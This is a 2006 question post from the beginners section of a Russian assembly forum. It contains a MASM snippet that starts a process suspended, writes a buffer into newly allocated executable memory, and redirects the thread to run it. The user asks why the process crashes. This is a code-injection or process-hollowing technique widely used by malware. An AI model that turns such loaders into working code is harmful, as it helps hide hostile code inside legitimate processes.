CreateProcess

Тема в разделе "WASM.BEGINNERS", создана пользователем Poster, 31 июл 2006.

  1. Poster

    Poster New Member

    Публикаций:
    0
    Регистрация:
    28 июл 2006
    Сообщения:
    6
    Код (Text):
    1. ; [FilePack]    - File Data
    2. ; [MaxFileSize] - File Size
    3. ;
    4. mov     stri.cb, sizeof stri
    5.  
    6. invoke CreateProcess, 0, addr ProAttack, 0, 0, 0, CREATE_SUSPENDED, 0, 0, addr stri, addr prci
    7. invoke VirtualAllocEx, prci.hProcess, 0, MaxFileSize, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE
    8. mov hNewModule, eax
    9. invoke WriteProcessMemory, prci.hProcess, hNewModule, FilePack, MaxFileSize, addr dwBytesWritten
    10.  
    11. mov Ctxt.ContextFlags, CONTEXT_FULL
    12. invoke GetThreadContext, prci.hThread, addr Ctxt
    13. mov edi,hNewModule
    14. mov Ctxt.regEip, edi
    15. invoke SetThreadContext, prci.hThread, addr Ctxt
    16. invoke ResumeThread, prci.hThread
    Почему не работает? Вроде все правильно.
    Создает процесс 56кб потом после Write 60кб и под ResumeThread без ошибки вылетает.